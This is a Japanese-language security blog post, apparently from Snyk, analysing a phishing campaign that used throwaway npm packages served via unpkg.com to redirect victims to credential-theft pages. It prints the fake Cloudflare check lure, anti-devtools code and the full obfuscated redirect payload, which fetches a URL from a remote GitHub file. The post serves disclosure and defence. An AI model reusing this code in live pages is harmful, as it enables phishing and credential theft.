Skip to main content

NPMエコシステムを悪用したフィッシングキャンペーン

著者
blog feature toolkit

2025年10月9日

0 分で読めます

2025年10月、研究者はnpmエコシステムを悪用するフィッシング活動を発見しました。今回は、開発者をインストール時に感染させるのではなく、信頼されているunpkg.com CDNを介してフィッシングスクリプトをホストし、配信するものでした。

攻撃者は175個を超える使い捨てパッケージを、JavaScriptの一時的なホスティング先として仕込みました。細工されたHTMLの「ビジネス文書」を開くと、JavaScriptが自動的に被害者を認証情報窃取サイトへリダイレクトします。最初にこのニュースを共有し、初期データを提供したSocketによると、今回の攻撃は主にヨーロッパの産業、テクノロジー、エネルギー分野における135以上の組織を標的にしています。公表を受けて、Snykはキャンペーンで使われたパッケージをさらに調査し、mad-x.x.x.x.x.x(xはランダムな数字)という名前の別のクラスターを特定しました。関連する活動、または類似のインフラと意図を持つ模倣的な実験である可能性があります。

パッケージをアップロードし、インストール時に開発者を侵害するという、よく知られた手口とは異なり、このキャンペーンは別の経路を取っています。npm installを通じてユーザーに感染させるのではなく、攻撃者はunpkgを介したブラウザーへの配信経路を利用し、正規のオープンソースホスティングインフラをフィッシングの手段に変えています。これは、脅威アクターが従来のパッケージを使った攻撃にとどまらず、オープンソースエコシステムそのものを悪用する新たな方法を積極的に探っていることを明確に示しています。典型的なサプライチェーン侵害ではありませんが、注意深く見守るべき事例です。

今回のサプライチェーン攻撃で起きたこと

  1. 大量のパッケージ公開:攻撃者は、多数のnpmパッケージ(パターンredirect-[a-z0-9]{6})の作成を自動化しました。内容は最小限で、beamglea.jsとHTMLの誘導ファイルが含まれていました。

  2. CDNでの自動公開:パッケージのバージョンが公開されるとすぐに、人気の高い一元管理型CDNリソースであるunpkg.comを<script src="https://unpkg.com/<name>@<ver>/beamglea.js">で参照し、これらの悪意あるパッケージを利用できるようになります。

  3. フィッシングの配布:標的に、請求書などを装ったカスタムHTMLファイルが届きます。これを開くと、unpkgのスクリプトが読み込まれます。

  4. 認証情報の窃取:スクリプトは直ちに攻撃者のページへリダイレクトし、URLフラグメントを使って被害者のメールアドレスを渡すため、フィッシングフォームにはあらかじめ入力されています。これにより、サーバーログに記録されない効果的な信頼の手掛かりが生まれます。

タイムライン

この進行中のインシデントについて、現時点で判明しているタイムラインは次のとおりです。

  • 2025年9月24日:インフラに関する初期の痕跡が公に報告されました。

  • 2025年10月9日:Socketが、175個のパッケージ、「“Beamglea”」というコードネーム、redirect-*という命名規則、影響を受けた135以上の組織について詳細をまとめた調査結果を公開しました。

  • 2025年10月10日:Snykの内部分析により、Socketが掲載していない追加パッケージが、mad-*という命名規則で確認されました(現在も調査中であり、同じ攻撃者によるものか、関連しているかはまだ確定していません)。

影響を受けるコンポーネント

  • 主な対象:キャンペーンのHTML誘導ファイルをブラウザーで開き、unpkg.comからスクリプトを取得したすべてのユーザー。被害者は開発者ではなく、企業従業員です。

  • パッケージ一覧:

    • redirect-*ファミリー(約175個のパッケージ)は、beamglea.jsとHTMLファイルをホストするCDNとして機能します。Socket

    • Snykがフラグを立てた追加のパッケージ群(Socketの投稿には記載なし):

      • mad-1.0.0.2.2.8, mad-1.2.9.2.2.8, mad-2.4.0.2.2.8, mad-1.4.1.2.2.8, mad-2.0.0.2.2.8, mad-4.0.1.2.2.8, mad-3.0.1.2.2.8, mad-2.0.2.2.2.8, mad-10.1.1.2.2.8, mad-1.4.2.2.2.8, mad-2.4.1.2.2.8, mad-1.4.0.2.2.8, mad-10.2.1.2.2.8, mad-2.0.1.2.2.8, mad-3.0.0.2.2.8, mad-5.0.0.2.2.8, mad-3.0.2.2.2.8, mad-4.0.0.2.2.8, mad-5.0.1.2.2.8, mad-6.0.0.2.2.8

mad-*パッケージの分析

このパッケージには、偽の「Cloudflare Security Check」ページが含まれており、リモートのGitHubホストファイルから取得したURLへ、ユーザーを密かにリダイレクトします。解析を妨げる一般的なアンチ解析ロジックを備え、偽の認証チェックボックスをクリックすると、トップウィンドウへのリダイレクト(フレームバスティング)を試みます。

動作の概要

フィッシング/誘導用UI:Cloudflareを装い、標的となる可能性のあるユーザーを示唆します。

<h1>Security Check</h1>
<p class="description">
  We are checking your browser before granting access to 
    <span style="font-weight: bold; color: black; font-size: 1.1em;">redacted.site</span>.
  This may take a few seconds.
</p>
「セキュリティチェック」ページを表示したブラウザーウィンドウ。「私はロボットではありません」のチェックボックスと、自動リダイレクトを知らせるメッセージが表示されています。

開発者ツールの検出:コードは開発者ツールが開かれていないか定期的に確認し、検出した場合はページを空白にするか、リダイレクトします。

  const CHECK_INTERVAL = 600; 
  const SIZE_THRESHOLD = 160; 
  const REACTION = 'blank'; 
  ...
  function sizeCheck() {
    ...
    return (dw > SIZE_THRESHOLD) || (dh > SIZE_THRESHOLD);
  function consoleCheck() {
    ...
    Object.defineProperty(obj, 'id', {
      get: function() {
        open = true;
        return '1';
      }
    });
    console.log(obj);
    return open;

ユーザー操作をトリガーに実行:「私はロボットではありません」のチェックボックスをオンにすると、スピナーを表示した後、リモートのテキストファイルを取得します。ファイルにURLが含まれている場合、ブラウザー(または親フレーム)をそのURLへリダイレクトします。 

検査の妨害:右クリック、F12、一般的な開発者ツールのショートカット、「ソースを表示」や「保存」を無効にします。

    document.addEventListener('contextmenu', function(e) {
        e.preventDefault();
    });

    document.addEventListener('keydown', function(e) {

        if (e.key === "F12") {
            e.preventDefault();
        }

        if ((e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J')) || 
            (e.ctrlKey && (e.key === 'U' || e.key === 'S'))) {
            e.preventDefault();
        }
    });

マルウェアのペイロード

他のセキュリティ研究者や読者向けの参考資料として、難読化されたscript.jsのコード全体を掲載します。このペイロードは、次のページスクリプト<script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script> <script>を介して読み込まれます。

マルウェアのペイロード:

function _0xab84(_0x5df706, _0x320379) {
    const _0x12f2bf = _0x12f2();
    return _0xab84 = function (_0xab8422, _0x3659f3) {
        _0xab8422 = _0xab8422 - 0x16e;
        let _0x376c45 = _0x12f2bf[_0xab8422];
        return _0x376c45;
    }, _0xab84(_0x5df706, _0x320379);
}
const _0x454c0a = _0xab84;

function _0x12f2() {
    const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv'];
    _0x12f2 = function () {
        return _0x199a32;
    };
    return _0x12f2();
}(function (_0x5ee12f, _0x463d21) {
    const _0xe50adb = _0xab84,
        _0x418764 = _0x5ee12f();
    while (!![]) {
        try {
            const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc);
            if (_0x33be1a === _0x463d21) break;
            else _0x418764['push'](_0x418764['shift']());
        } catch (_0xab8496) {
            _0x418764['push'](_0x418764['shift']());
        }
    }
}(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () {
    const _0xa859eb = _0x454c0a,
        _0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)),
        _0x224de6 = document['querySelector'](_0xa859eb(0x19e)),
        _0x441ce0 = document['getElementById'](_0xa859eb(0x192)),
        _0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)),
        _0x10848a = _0xa859eb(0x18f),
        _0x569cab = _0x10848a;
    _0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () {
        const _0x491ce3 = _0xa859eb;
        if (!this[_0x491ce3(0x198)]) return;
        try {
            _0x184285(), setTimeout(() => {
                _0x405f84(), setTimeout(() => {
                    const _0x89d3d3 = _0xab84;
                    console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, {
                        'method': _0x89d3d3(0x199),
                        'cache': _0x89d3d3(0x180)
                    })[_0x89d3d3(0x187)](_0xb053b6 => {
                        const _0x42dda6 = _0x89d3d3;
                        return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({
                            'status': _0xb053b6[_0x42dda6(0x190)],
                            'text': _0x239cb7
                        }));
                    })[_0x89d3d3(0x187)](({
                        status: _0x48490,
                        text: _0x54a6fa
                    }) => {
                        const _0x4408f0 = _0x89d3d3,
                            _0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)]();
                        console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]);
                        if (!_0x4cfb55) {
                            console[_0x4408f0(0x19d)](_0x4408f0(0x173));
                            return;
                        }
                        if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) {
                            console['error'](_0x4408f0(0x172), _0x4cfb55);
                            return;
                        }
                        console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55);
                        try {
                            window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                            return;
                        } catch (_0x86bd20) {
                            console['warn'](_0x4408f0(0x1a0), _0x86bd20);
                        }
                        try {
                            window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                        } catch (_0x255bd0) {
                            console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0);
                        }
                    })['catch'](_0x5a4cd6 => {
                        const _0xb0c328 = _0x89d3d3;
                        console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6);
                    });
                }, 0x3e8);
            }, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8);
        } catch (_0x96207c) {
            console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c);
        }
    });

    function _0x184285() {
        const _0x5471f3 = _0xa859eb;
        if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f);
        if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181);
    }

    function _0x405f84() {
        const _0x197e4e = _0xa859eb;
        if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none';
        if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195);
    }
}));

よくある質問 

このサプライチェーン攻撃の侵害指標(IOC)は何ですか?

ファイル/コンテンツの手がかり(エンドポイントまたはメールゲートウェイ):

  • <script src="https://unpkg.com/redirect-<6-char-suffix>@<semver>/beamglea.js">を含むHTML。

  • おとりページに共通して見られるHTMLメタタグ:name="html-meta" content="nb830r6x"。

ネットワークの手がかり:

  • ユーザーのエンドポイントからunpkg.comへの送信リクエストがあり、その直後にcfn.jackpotmastersdanske[.]comなどの不審なドメインへ移動する。

パッケージの手がかり(リポジトリ/開発環境):

  • redirect-[a-z0-9]{6}や上記のmad-*リストのような、目立たないnpmパッケージが存在する。これらはunpkg.comからネットワーク経由でリモート読み込みされるため、インストールされていなくても該当する。

この攻撃に関与しているオープンソースコンポーネントは何ですか?

  • npmレジストリ:価値の低いパッケージ(例:redirect-<random>)を多数公開し、無料で信頼性の高いホスティング元として利用されています。各パッケージには、小さなリダイレクトスクリプトと誘導用ファイルが含まれています。

  • unpkg.com CDN:公開されているnpmパッケージをHTTPS経由で自動的に配信します。攻撃者はこれを利用して、被害者のブラウザーでbeamglea.jsを直接読み込みます。

  • 被害者を誘い込むHTMLファイル:一見無害な注文書やプロジェクト資料です。ローカルで開くと、unpkg.comの集中型CDNからスクリプトを読み込み、メールアドレス欄があらかじめ入力された偽のログインページにユーザーを誘導します(これにより、信頼性を高める下地が作られます)。

SNYK LABS

Snykの最新AIセキュリティイノベーションを試す

Snykのお客様は、実験的プレビューとしてSnyk AI-BOMとSnyk MCP-Scanをご利用いただけるようになりました。今後も新機能を追加予定です!